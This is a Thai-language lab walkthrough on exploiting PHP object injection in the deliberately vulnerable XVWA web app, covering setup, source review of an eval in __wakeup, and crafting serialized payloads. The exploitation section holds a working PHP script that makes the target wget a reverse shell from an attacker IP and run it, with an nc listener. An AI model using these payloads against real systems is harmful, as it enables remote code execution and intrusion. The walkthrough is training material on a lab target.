บทนำ (Overview)
บทความนี้กล่าวถึงการวิเคราะห์ช่องโหว่ของที่สามารถ Run คำสั่ง PHP ประสงค์ร้าย โดยมีช่องทางผ่านพารามิเตอร์หนึ่งของ Request message แต่ค่าของ Parameter นั้น ๆ จะต้องส่งผ่านในลักษณะ PHP serialization เสียก่อน และค่าดังกล่าวจะถูก unserialization ที่ฝั่ง Server
ติดตั้งโปรแกรมช่องโหว่
- ดาวน์โหลดโปรแกรมช่องโหว่ XVWA https://www.vulnhub.com/entry/xtreme-vulnerable-web-application-xvwa-1,209/
- ติดตั้งบน VMWARE
- เปิดใช้งานฐานข้อมูล mysql โดยใช้คำสั่ง
sudo /etc/init.d/mysql start sudo /etc/init.d/mysql stop sudo /etc/init.d/mysql restart
- ใส่รหัสผ่าน
User = xvwa Pass = toor
- ทดสอบเข้าหน้า Web page ที่ http://192.168.1.40/xvwa สามารถตรวจสอบ IP ได้โดยใช้ คำสั่ง
Ifconfig
- สามารถ Login ผ่านหน้า Web page โดยใช้ username และ password ดังนี้
//username:password admin:admin xvwa:xvwa user:vulnerable
ค้นหาช่องโหว่
- เชื่อมต่อ Proxy ผ่าน BURP สามารถติดตามได้จากบทความ
- ไปที่ menu PHP object injection
- จากนั้นกดปุ่ม Click here
- เราจะพบว่าโปรแกรม Burp สามารถตรวจจับช่องโหว่ ดังนี้ Serialized object in HTTP message โดยช่องโหว่ที่พบคือพารามีเตอร์ชื่อ R
r=a:2:{i:0;s:4:%22XVWA%22;i:1;s:33:%22Xtreme%20Vulnerable%20Web%20Application%22;} a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application”;}
- ที่หน้า Browser เราจะพบคำ Return กลับมา Xtreme Vulnerable Web Application
Source code review
- จากช่องโหว่ที่ค้นพบ โปรแกรมใช้งาน PHP serailization แต่ยังไม่รู้ว่านำไป unserialize แล้วไปทำอะไรต่อ
- พบ class ชื่อ PHPObjectInjection ที่มี property ชื่อ inject และ Magic method ถูกสร้างทิ้งเอาไว้
class PHPObjectInjection{ public $inject; //คำสั่งใน construct จะทำงานอัตโนมัติเมื่อสร้าง object function __construct(){ } //เรียกใช้งานอัตโนมัติเมื่อมีการ Unserialize function __wakeup(){ //isset() ใช้เพื่อตรวจสอบว่า "ตัวแปรนั้นๆ ได้ถูกกำหนดขึ้น และมีค่าที่ไม่ใช่ null หรือไม่" if(isset($this->inject)){ //eval ใช้ประมวลผลตัวแปรนั้น ๆ ถ้ามี code บรรจุอยู่สามารถประมวลผลได้ //$this หมายถึง class ปัจจุบัน PHPObjectInjection //ดึงค่า inject มาประมวลผล eval($this->inject); } } }
- เราสามารถเรียกลำดับการทำงานของ Magic method ก่อนหลังได้ดังนี้
- พบว่า พารามิเตอร์ r ถูกนำมา unserialize
$var1=unserialize($_REQUEST['r']); //จะได้เป็น $var1=unserialize(a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application”;}); //โดยที่ a คือ array (2 ช่อง) i คือ index เป็น integer (0 และ 1) s คือ string (0 คือ XVWA และ 1 คือ Xtreme Vulnerable Web Application)
- สุดท้ายจะแสดงผลที่ตามผลลัพธ์ข้างล่าง
echo "".$var1[0]." - “.$var1[1];
- อย่างไรก็ตามเราพบว่า PHPObjectInjection ที่เป็นช่องโหว่ดังกล่าว ยังไม่มีการสร้าง object เพื่อใช้งาน โดย object หนึ่งสามารถสร้างขึ้นได้จาก Class ที่ถูกกำหนดไว้อยู่แล้วที่ Sourcecode หลังผ่าน จากการตรวจสอบ Class ที่ชื่อ PHPObjectInjection พบว่าการที่เราจะเข้าไปถึงส่วน eval ได้นั้นจะต้อง
- สร้าง object จาก class PHPObjectInjection
- กำหนดให้ $inject ไม่เป็นค่าว่าง ดังนั้นค่าดังกล่าวจะเป็นฟังชัน php ที่ประมวลได้
function __wakeup(){ if(isset($this->inject)){ eval($this->inject); } }
- เราสามารถสร้าง Object ที่ Serailized จากชื่อ Class และ Property ที่เราพบโดย ให้สร้างไฟล์ php โดยมีคำสั่งดังนี้
<?php class PHPObjectInjection { //public $inject="system('whoami');"; public $inject="phpinfo();"; } $obj=new PHPObjectInjection(); var_dump(serialize($obj)); ?>
- จากนั้นทดลอง Run คำสั่ง
php test.php
- เอาผลลัพธ์ที่ได้ไปแทนที่ object เดิมของพารามิเตอร์ r
http://192.168.1.40/xvwa/vulnerabilities/php_object_injection/?r=O:18:%22PHPObjectInjection%22:1:{s:6:%22inject%22;s:10:%22phpinfo();%22;}
- จะพบว่าสามารถประมวลผล phpinfo() ได้ เนื่องจากคำสั่ง
eval($this->inject);
Exploitation
- เปิด apache2
service apache2 start
- สร้าง php reverse shell เอา save เป็น .txt ไปไว้ในโฟลเดอร์ var/www/html และเปลี่ยน permission everyone read สามารถดาวน์โหลด reverse shell ได้จาก
http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
- แก้ไข IP เป็นเครื่อง ติดต่อกลับ
- ใช้งาน Exploit โดยเปลี่ยน URL ดาวน์โหลด reverseshell และ URL ที่เป็นช่องโหว่
<?php system('gnome-terminal -x sh -c \'nc -lvvp 1234\''); class PHPObjectInjection { public $inject = "system('wget http://192.168.1.46/shell.txt -O shell.php && php shell.php');"; } $url ='http://192.168.1.40/xvwa/vulnerabilities/php_object_injection/?r='; $obj=new PHPObjectInjection(); $url = $url . urlencode(serialize($obj)); $response =file_get_contents("$url"); ?>
- สามารถได้ reverse shell ดังภาพ
อ้างอิง
- https://www.vulnhub.com/entry/xtreme-vulnerable-web-application-xvwa-1,209/
- https://iamjagjeetubhi.wordpress.com/2017/04/10/start-apache-and-mysql-in-kali-linux/
- https://www.notsosecure.com/remote-code-execution-via-php-unserialize/
- https://mukarramkhalid.com/php-object-injection-serialization/
- https://www.owasp.org/index.php/PHP_Object_Injection
- http://php.net/manual/en/language.oop5.magic.php